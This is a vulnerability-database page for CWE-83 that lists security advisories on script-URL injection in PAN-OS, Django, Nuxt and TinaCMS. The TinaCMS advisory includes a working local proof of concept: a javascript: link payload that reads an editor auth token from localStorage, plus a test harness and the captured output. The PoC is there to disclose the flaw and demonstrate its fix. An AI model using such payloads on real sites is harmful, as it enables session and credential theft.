Common Weakness Enumeration

CWE-83

Allowed

Improper Neutralization of Script in Attributes in a Web Page

Abstraction: Variant · Status: Draft

The product does not neutralize or incorrectly neutralizes "javascript:" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.

53 vulnerabilities reference this CWE, most recent first.

GHSA-8M4F-V87C-8XHM

Vulnerability from github – Published: 2025-05-14 21:31 – Updated: 2025-05-14 21:31
VLAI
Details

An improper input neutralization vulnerability in the management web interface of the Palo Alto Networks PAN-OS® software enables a malicious authenticated read-write administrator to impersonate another legitimate authenticated PAN-OS administrator.

The attacker must have network access to the management web interface to exploit this issue. You greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended critical deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-0137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-83"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-14T19:15:52Z",
    "severity": "MODERATE"
  },
  "details": "An improper input neutralization vulnerability in the management web interface of the Palo Alto Networks PAN-OS\u00ae software enables a malicious authenticated read-write administrator to impersonate another legitimate authenticated PAN-OS administrator.\n\n\nThe attacker must have network access to the management web interface to exploit this issue. You greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended  critical deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .",
  "id": "GHSA-8m4f-v87c-8xhm",
  "modified": "2025-05-14T21:31:18Z",
  "published": "2025-05-14T21:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0137"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2025-0137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:U/V:C/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8RMJ-XGQ5-W9QM

Vulnerability from github – Published: 2026-08-04 18:31 – Updated: 2026-08-04 18:31
VLAI
Details

An issue was discovered in Django 5.2 before 5.2.17 and 6.0 before 6.0.8. django.contrib.admin.utils.display_for_field() renders URLField values as clickable links in the admin without validating the URL. A value stored with an unsafe scheme is displayed as a link on changelist and read-only admin pages, which allows cross-site scripting against staff users who click the link. Exploitation requires the unsafe value to already be stored in the database. URLField validation through a ModelForm or the admin rejects unsafe schemes, so this affects applications that persist URLField data without running model validation, for example through direct queryset writes, deserialization, or bulk import of untrusted input. Django would like to thank Egor Saltykov for reporting this issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-15920"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-83"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-04T17:16:46Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Django 5.2 before 5.2.17 and 6.0 before 6.0.8.\n`django.contrib.admin.utils.display_for_field()` renders `URLField` values as clickable links in the admin without validating the URL. A value stored with an unsafe scheme is displayed as a link on changelist and read-only admin pages, which allows cross-site scripting against staff users who click the link.\nExploitation requires the unsafe value to already be stored in the database. `URLField` validation through a `ModelForm` or the admin rejects unsafe schemes, so this affects applications that persist `URLField` data without running model validation, for example through direct queryset writes, deserialization, or bulk import of untrusted input.\nDjango would like to thank Egor Saltykov for reporting this issue.",
  "id": "GHSA-8rmj-xgq5-w9qm",
  "modified": "2026-08-04T18:31:27Z",
  "published": "2026-08-04T18:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15920"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/13debb622a32720bda1bccda7622fd14fbf3931b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/47511a21026cdd721d8fbf8571cc079bc38bb46d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/5a260d309a4c8010c2ebda24eb758a5d95e2508a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/b9adb81339cc418f8f56b1050cca6dfec3ab6349"
    },
    {
      "type": "WEB",
      "url": "https://docs.djangoproject.com/en/dev/releases/security"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/django-announce"
    },
    {
      "type": "WEB",
      "url": "https://www.djangoproject.com/weblog/2026/aug/04/security-releases"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-934W-87QH-QR26

Vulnerability from github – Published: 2026-06-16 13:49 – Updated: 2026-08-14 18:45
VLAI
Summary
Nuxt: Reflected XSS in `<NuxtLink>` via unsanitised `javascript:` or `data:` URL
Details

Summary

<NuxtLink> did not validate the URL scheme of values bound to its to or href props before rendering them into the href attribute of the underlying <a> element. When an application binds attacker-controlled input (a query parameter, a CMS field, a user-supplied profile URL) to <NuxtLink :to> or :href, the attacker can supply a javascript: or vbscript: URL that is reflected verbatim into the rendered markup. Clicking the link executes the supplied script in the origin of the Nuxt application, resulting in reflected DOM-based cross-site scripting. A data:text/html,... payload reflected through the same sink does not execute in the application's origin but enables a same-tab phishing surface anchored to a legitimate application link.

The same value was exposed to consumers of the component's custom slot via the href and route.href props, so applications that re-bind those values to their own anchors were affected identically.

Unlike the previously reported navigateTo issue (CVE-2024-34343), the sink here is the rendered anchor itself; the existing isScriptProtocol checks in navigateTo and reloadNuxtApp are not on the code path. The onClick handler intentionally returns early for external links so the browser's native protocol-based navigation runs.

Affected component

  • File: packages/nuxt/src/app/components/nuxt-link.ts
  • Sink: h('a', { href: href.value, ... }) in the default render, plus the href / route.href props passed to the custom slot.
  • Broken check: external auto-detection treated any hasProtocol(path, { acceptRelative: true }) value as an "external link", then rendered the value directly as <a href> without rejecting script-capable protocols. There was no equivalent of the navigateTo isScriptProtocol(protocol) gate in this path.

Impact

Any Nuxt application that binds user-controlled values to <NuxtLink :to> / :href was vulnerable. Common shapes: profile-link rendering (<NuxtLink :to="user.website">), "share this" / "open in new tab" handlers that pass through a query parameter, CMS-driven landing pages that render <NuxtLink :to="cms.cta.url">, and marketplace listings that show seller-supplied links.

For javascript: / vbscript: the primitive is reflected XSS in the application's first-party origin (session theft for non-HttpOnly cookies, CSRF token theft, account takeover via DOM rewriting, credential harvesting via fake login overlays). For data:text/html,... the attacker gets a same-tab phishing surface anchored to a legitimate application link.

Patches

Fixed in nuxt@4.4.7 (commit 0103ce06) and backported to nuxt@3.21.7 (commit 53284043). The fix sanitises the resolved external href before it is passed to <a> or the custom slot: control characters and whitespace are stripped, leading view-source: prefixes are unwrapped, and any remaining script-capable scheme (per isScriptProtocol) causes the href to be replaced with an empty string.

Workarounds

Until you can upgrade, validate URLs at the source before binding them to <NuxtLink :to> / :href. For example, only accept paths that start with / (and not //), or run user-supplied URLs through new URL(value) and reject anything whose protocol is not in an allow-list (typically http: and https:).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-83"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T13:49:36Z",
    "nvd_published_at": "2026-06-12T15:16:31Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`\u003cNuxtLink\u003e` did not validate the URL scheme of values bound to its `to` or `href` props before rendering them into the `href` attribute of the underlying `\u003ca\u003e` element. When an application binds attacker-controlled input (a query parameter, a CMS field, a user-supplied profile URL) to `\u003cNuxtLink :to\u003e` or `:href`, the attacker can supply a `javascript:` or `vbscript:` URL that is reflected verbatim into the rendered markup. Clicking the link executes the supplied script in the origin of the Nuxt application, resulting in reflected DOM-based cross-site scripting. A `data:text/html,...` payload reflected through the same sink does not execute in the application\u0027s origin but enables a same-tab phishing surface anchored to a legitimate application link.\n\nThe same value was exposed to consumers of the component\u0027s `custom` slot via the `href` and `route.href` props, so applications that re-bind those values to their own anchors were affected identically.\n\nUnlike the previously reported `navigateTo` issue (CVE-2024-34343), the sink here is the rendered anchor itself; the existing `isScriptProtocol` checks in `navigateTo` and `reloadNuxtApp` are not on the code path. The `onClick` handler intentionally returns early for external links so the browser\u0027s native protocol-based navigation runs.\n\n### Affected component\n\n- File: `packages/nuxt/src/app/components/nuxt-link.ts`\n- Sink: `h(\u0027a\u0027, { href: href.value, ... })` in the default render, plus the `href` / `route.href` props passed to the `custom` slot.\n- Broken check: external auto-detection treated any `hasProtocol(path, { acceptRelative: true })` value as an \"external link\", then rendered the value directly as `\u003ca href\u003e` without rejecting script-capable protocols. There was no equivalent of the `navigateTo` `isScriptProtocol(protocol)` gate in this path.\n\n### Impact\n\nAny Nuxt application that binds user-controlled values to `\u003cNuxtLink :to\u003e` / `:href` was vulnerable. Common shapes: profile-link rendering (`\u003cNuxtLink :to=\"user.website\"\u003e`), \"share this\" / \"open in new tab\" handlers that pass through a query parameter, CMS-driven landing pages that render `\u003cNuxtLink :to=\"cms.cta.url\"\u003e`, and marketplace listings that show seller-supplied links.\n\nFor `javascript:` / `vbscript:` the primitive is reflected XSS in the application\u0027s first-party origin (session theft for non-`HttpOnly` cookies, CSRF token theft, account takeover via DOM rewriting, credential harvesting via fake login overlays). For `data:text/html,...` the attacker gets a same-tab phishing surface anchored to a legitimate application link.\n\n### Patches\n\nFixed in `nuxt@4.4.7` (commit [`0103ce06`](https://github.com/nuxt/nuxt/commit/0103ce06fbbbdfa079a7f020ef8ce00121eac4a3)) and backported to `nuxt@3.21.7` (commit [`53284043`](https://github.com/nuxt/nuxt/commit/53284043dc21210a25d629d1cec67d3ae557ffd0)). The fix sanitises the resolved external `href` before it is passed to `\u003ca\u003e` or the `custom` slot: control characters and whitespace are stripped, leading `view-source:` prefixes are unwrapped, and any remaining script-capable scheme (per `isScriptProtocol`) causes the `href` to be replaced with an empty string.\n\n### Workarounds\n\nUntil you can upgrade, validate URLs at the source before binding them to `\u003cNuxtLink :to\u003e` / `:href`. For example, only accept paths that start with `/` (and not `//`), or run user-supplied URLs through `new URL(value)` and reject anything whose `protocol` is not in an allow-list (typically `http:` and `https:`).",
  "id": "GHSA-934w-87qh-qr26",
  "modified": "2026-08-14T18:45:56Z",
  "published": "2026-06-16T13:49:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-934w-87qh-qr26"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53722"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/commit/0103ce06fbbbdfa079a7f020ef8ce00121eac4a3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/commit/53284043dc21210a25d629d1cec67d3ae557ffd0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt/nuxt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nuxt: Reflected XSS in `\u003cNuxtLink\u003e` via unsanitised `javascript:` or `data:` URL"
}

GHSA-9W5H-PX4F-8H8M

Vulnerability from github – Published: 2025-10-09 21:31 – Updated: 2026-04-01 03:31
VLAI
Details

An improper input neutralization vulnerability in the management web interface of the Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and execute arbitrary commands.

The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.

Cloud NGFW and Prisma® Access are not affected by this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-4615"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-83"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-09T19:15:43Z",
    "severity": "HIGH"
  },
  "details": "An improper input neutralization vulnerability in the management web interface of the Palo Alto Networks PAN-OS\u00ae software enables an authenticated administrator to bypass system restrictions and execute arbitrary commands.\n\nThe security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.\n\nCloud NGFW and Prisma\u00ae Access are not affected by this vulnerability.",
  "id": "GHSA-9w5h-px4f-8h8m",
  "modified": "2026-04-01T03:31:40Z",
  "published": "2025-10-09T21:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4615"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVEN-2025-4615"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-C42Q-QVC3-J6VG

Vulnerability from github – Published: 2026-10-09 20:56 – Updated: 2026-10-09 20:56
VLAI
Summary
@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS
Details

Summary

<tina-markdown> renders a rich-text AST into the DOM and, for a nodes, assigns the node's URL straight to the anchor's href with no scheme check. A link authored in the CMS as javascript:… renders as a live javascript: anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.

Details

The unvalidated sink:

packages/@tinacms/web-components/src/tina-markdown.js:67-69
  if (node.type === 'html' || node.type === 'html_inline') {
    return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });
  }
packages/@tinacms/web-components/src/tina-markdown.js:75    if (node.url && node.type === 'a') el.href = node.url;
packages/@tinacms/web-components/src/tina-markdown.js:76    if (node.url && node.type === 'img') el.src = node.url;

node.url comes from the content attribute the site populates from the TinaCMS content API (:169-176), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at :68 handles only raw-HTML node values and returns before the anchor branch, so it never inspects node.url. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The mode: 'open' shadow root (:164-167) provides no script isolation.

The guard that exists in every sibling renderer:

packages/@tinacms/mdx/src/sanitize-url.ts:10          allowedSchemes = ['http','https','mailto','tel','xref']
packages/tinacms/src/rich-text/index.tsx:335            <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/index.tsx:322            <img src={sanitizeUrl(child.url)} .../>
packages/tinacms/src/rich-text/static.tsx:254           <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/static.tsx:242           <img src={sanitizeUrl(child.url)} .../>
packages/@tinacms/astro/src/LinkNode.astro:19           <a href={sanitizeHref(node.url)}>
packages/@tinacms/astro/src/ImageNode.astro:16          <img src={sanitizeImageSrc(node.url)} .../>

tina-markdown.js:75 is the only rich-text link sink in the repository that omits it — six of seven sanitize.

That this is an oversight rather than intent: the 0.2.0 changelog entry states the goal of "matching the components prop on the React and Astro renderers" while adding DOMPurify for html nodes, and packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96 only asserts that an https://example.com link renders — no scheme case is covered either way.

Default-enabled: customElements.define('tina-markdown', TinaMarkdown) runs at module scope (:179); importing the published entry point is the whole setup, with no option object or sanitizer setting.

Suggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation:

import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);

Variant with the same root cause and the same fix: :76 (img.src). A javascript: URL does not execute from img.src, so it is not scored here, but the line has no validation either — which is why @tinacms/astro carries a separate sanitizeImageSrc.

PoC

Safe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads tina-markdown.js byte-for-byte from the checkout (bundled with its declared dompurify dependency) and also exposes the repository's own sanitizeUrl so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.

Environment used: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) driven by playwright@1.49.0.

Setup

git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD

mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm
npm init -y >/dev/null
npm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0

cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js
cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts"             ./sanitize-url.ts

entry.js:

import './tina-markdown.js';                       // registers <tina-markdown>
import { sanitizeUrl } from './sanitize-url.ts';   // the canonical guard, for the control
window.__sanitizeUrl = sanitizeUrl;

site/index.html — the AST is what @tinacms/graphql returns for the markdown source [click me](javascript:…):

<!doctype html><html><head><title>public site rendering CMS rich-text</title></head>
<body>
<h1>Site page</h1>
<div id="host"></div>
<script type="module" src="/bundle.js"></script>
<script type="module">
  const ast = {
    type: 'root',
    children: [
      { type: 'p', children: [
        { type: 'a',
          url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
          children: [{ type: 'text', text: 'click me' }] }
      ]}
    ]
  };
  // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and
  // value are written by packages/tinacms/src/internalClient/authProvider.ts:117.
  localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');
  const el = document.createElement('tina-markdown');
  el.setAttribute('content', JSON.stringify(ast));
  document.getElementById('host').appendChild(el);
  window.__ready = true;
</script>
</body></html>

run.cjs:

const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const PORT=8811, DIR=path.join(__dirname,'site');
const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];
 const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
 res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});
 res.end(fs.readFileSync(f));});
(async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r));
 const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});
 const page=await browser.newPage();
 await page.goto(`http://127.0.0.1:${PORT}/`);
 await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300);
 const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');
   return {hrefAttr:a&&a.getAttribute('href')};});
 await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());
 await page.waitForTimeout(500);
 const pwned=await page.evaluate(()=>window.__pwned||null);
 const control=await page.evaluate(()=>window.__sanitizeUrl("javascript:window.__pwned = document.domain"));
 console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,
   capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));
 await browser.close(); srv.close();})();

Run

cd /tmp/tina-tm
npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts
node run.cjs

Observed output (captured verbatim)

{
  "renderedAnchorHref": "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
  "scriptExecutedOnClick": true,
  "capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN",
  "control_sanitizeUrl_output": ""
}

Expected vulnerable output — renderedAnchorHref is the attacker-supplied javascript: string unchanged (no scheme validation at the sink), scriptExecutedOnClick is true, and capturedByPayload contains the page's own domain plus the value read out of localStorage['tinacms-auth'] (script ran in the site origin with full read access to that origin's storage). All held.

Control — control_sanitizeUrl_output is "". The repository's own sanitizeUrl, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what packages/tinacms/src/rich-text/index.tsx:335 and packages/@tinacms/astro/src/LinkNode.astro:19 do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.

Second control, internal to the same file: an html node carrying <a href="javascript:alert(1)">x</a> is stripped by the DOMPurify call at :68, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.

Cleanup

rm -rf /tmp/tina-tm

The PoC was re-run after this report was drafted; the JSON above is that run.

Impact

Stored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor's browser session on the site's origin. Because TinaCMS's documented layout serves the admin from the same origin (public/admin/) and stores the editor token in localStorage under tinacms-auth (packages/tinacms/src/auth/authenticate.ts:5, written at packages/tinacms/src/internalClient/authProvider.ts:117), a clicking visitor who is themselves an editor or administrator exposes that credential — the PoC reads it.

Impacted: any site rendering TinaCMS rich-text through <tina-markdown>. That component exists precisely for non-React sites, i.e. the deployments that do not get tinacms's sanitized React renderer.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/web-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-108260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-83"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:56:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`\u003ctina-markdown\u003e` renders a rich-text AST into the DOM and, for `a` nodes, assigns the node\u0027s URL straight to the anchor\u0027s `href` with no scheme check. A link authored in the CMS as `javascript:\u2026` renders as a live `javascript:` anchor, so a visitor who clicks it executes attacker-supplied script in the site\u0027s origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.\n\n### Details\n\nThe unvalidated sink:\n\n```\npackages/@tinacms/web-components/src/tina-markdown.js:67-69\n  if (node.type === \u0027html\u0027 || node.type === \u0027html_inline\u0027) {\n    return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });\n  }\npackages/@tinacms/web-components/src/tina-markdown.js:75    if (node.url \u0026\u0026 node.type === \u0027a\u0027) el.href = node.url;\npackages/@tinacms/web-components/src/tina-markdown.js:76    if (node.url \u0026\u0026 node.type === \u0027img\u0027) el.src = node.url;\n```\n\n`node.url` comes from the `content` attribute the site populates from the TinaCMS content API (`:169-176`), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at `:68` handles only raw-HTML node values and returns before the anchor branch, so it never inspects `node.url`. Line 75 is a direct property assignment \u2014 no HTML parser, no sanitizer. The `mode: \u0027open\u0027` shadow root (`:164-167`) provides no script isolation.\n\nThe guard that exists in every sibling renderer:\n\n```\npackages/@tinacms/mdx/src/sanitize-url.ts:10          allowedSchemes = [\u0027http\u0027,\u0027https\u0027,\u0027mailto\u0027,\u0027tel\u0027,\u0027xref\u0027]\npackages/tinacms/src/rich-text/index.tsx:335            \u003ca href={sanitizeUrl(child.url)}\u003e\npackages/tinacms/src/rich-text/index.tsx:322            \u003cimg src={sanitizeUrl(child.url)} .../\u003e\npackages/tinacms/src/rich-text/static.tsx:254           \u003ca href={sanitizeUrl(child.url)}\u003e\npackages/tinacms/src/rich-text/static.tsx:242           \u003cimg src={sanitizeUrl(child.url)} .../\u003e\npackages/@tinacms/astro/src/LinkNode.astro:19           \u003ca href={sanitizeHref(node.url)}\u003e\npackages/@tinacms/astro/src/ImageNode.astro:16          \u003cimg src={sanitizeImageSrc(node.url)} .../\u003e\n```\n\n`tina-markdown.js:75` is the only rich-text link sink in the repository that omits it \u2014 six of seven sanitize.\n\nThat this is an oversight rather than intent: the `0.2.0` changelog entry states the goal of \"matching the `components` prop on the React and Astro renderers\" while adding DOMPurify for `html` nodes, and `packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` only asserts that an `https://example.com` link renders \u2014 no scheme case is covered either way.\n\nDefault-enabled: `customElements.define(\u0027tina-markdown\u0027, TinaMarkdown)` runs at module scope (`:179`); importing the published entry point is the whole setup, with no option object or sanitizer setting.\n\nSuggested fix \u2014 reuse the existing dependency-free subpath export rather than adding a third implementation:\n\n```js\nimport { sanitizeUrl } from \u0027@tinacms/mdx/sanitize-url\u0027;\nif (node.url \u0026\u0026 node.type === \u0027a\u0027) el.href = sanitizeUrl(node.url);\nif (node.url \u0026\u0026 node.type === \u0027img\u0027) el.src = sanitizeUrl(node.url);\n```\n\nVariant with the same root cause and the same fix: `:76` (`img.src`). A `javascript:` URL does not execute from `img.src`, so it is not scored here, but the line has no validation either \u2014 which is why `@tinacms/astro` carries a separate `sanitizeImageSrc`.\n\n### PoC\n\nSafe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads `tina-markdown.js` byte-for-byte from the checkout (bundled with its declared `dompurify` dependency) and also exposes the repository\u0027s own `sanitizeUrl` so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.\n\nEnvironment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.\n\n**Setup**\n\n```bash\ngit clone https://github.com/tinacms/tinacms.git tinacms-poc\ncd tinacms-poc \u0026\u0026 git checkout 0d38acfdd23143384b8787d5d772b713fa7af163\nREPO=$PWD\n\nmkdir -p /tmp/tina-tm/site \u0026\u0026 cd /tmp/tina-tm\nnpm init -y \u003e/dev/null\nnpm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0\n\ncp \"$REPO/packages/@tinacms/web-components/src/tina-markdown.js\" ./tina-markdown.js\ncp \"$REPO/packages/@tinacms/mdx/src/sanitize-url.ts\"             ./sanitize-url.ts\n```\n\n`entry.js`:\n\n```js\nimport \u0027./tina-markdown.js\u0027;                       // registers \u003ctina-markdown\u003e\nimport { sanitizeUrl } from \u0027./sanitize-url.ts\u0027;   // the canonical guard, for the control\nwindow.__sanitizeUrl = sanitizeUrl;\n```\n\n`site/index.html` \u2014 the AST is what `@tinacms/graphql` returns for the markdown source `[click me](javascript:\u2026)`:\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003epublic site rendering CMS rich-text\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eSite page\u003c/h1\u003e\n\u003cdiv id=\"host\"\u003e\u003c/div\u003e\n\u003cscript type=\"module\" src=\"/bundle.js\"\u003e\u003c/script\u003e\n\u003cscript type=\"module\"\u003e\n  const ast = {\n    type: \u0027root\u0027,\n    children: [\n      { type: \u0027p\u0027, children: [\n        { type: \u0027a\u0027,\n          url: \"javascript:window.__pwned=document.domain+\u0027 | localStorage[tinacms-auth]=\u0027+localStorage.getItem(\u0027tinacms-auth\u0027);void 0\",\n          children: [{ type: \u0027text\u0027, text: \u0027click me\u0027 }] }\n      ]}\n    ]\n  };\n  // Stand-in for a signed-in editor\u0027s stored TinaCMS credential. The real key and\n  // value are written by packages/tinacms/src/internalClient/authProvider.ts:117.\n  localStorage.setItem(\u0027tinacms-auth\u0027, \u0027DEMO-EDITOR-TOKEN\u0027);\n  const el = document.createElement(\u0027tina-markdown\u0027);\n  el.setAttribute(\u0027content\u0027, JSON.stringify(ast));\n  document.getElementById(\u0027host\u0027).appendChild(el);\n  window.__ready = true;\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n`run.cjs`:\n\n```js\nconst http=require(\u0027http\u0027),fs=require(\u0027fs\u0027),path=require(\u0027path\u0027),{chromium}=require(\u0027playwright\u0027);\nconst PORT=8811, DIR=path.join(__dirname,\u0027site\u0027);\nconst srv=http.createServer((req,res)=\u003e{const p=req.url===\u0027/\u0027?\u0027/index.html\u0027:req.url.split(\u0027?\u0027)[0];\n const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end(\u0027nf\u0027);return;}\n 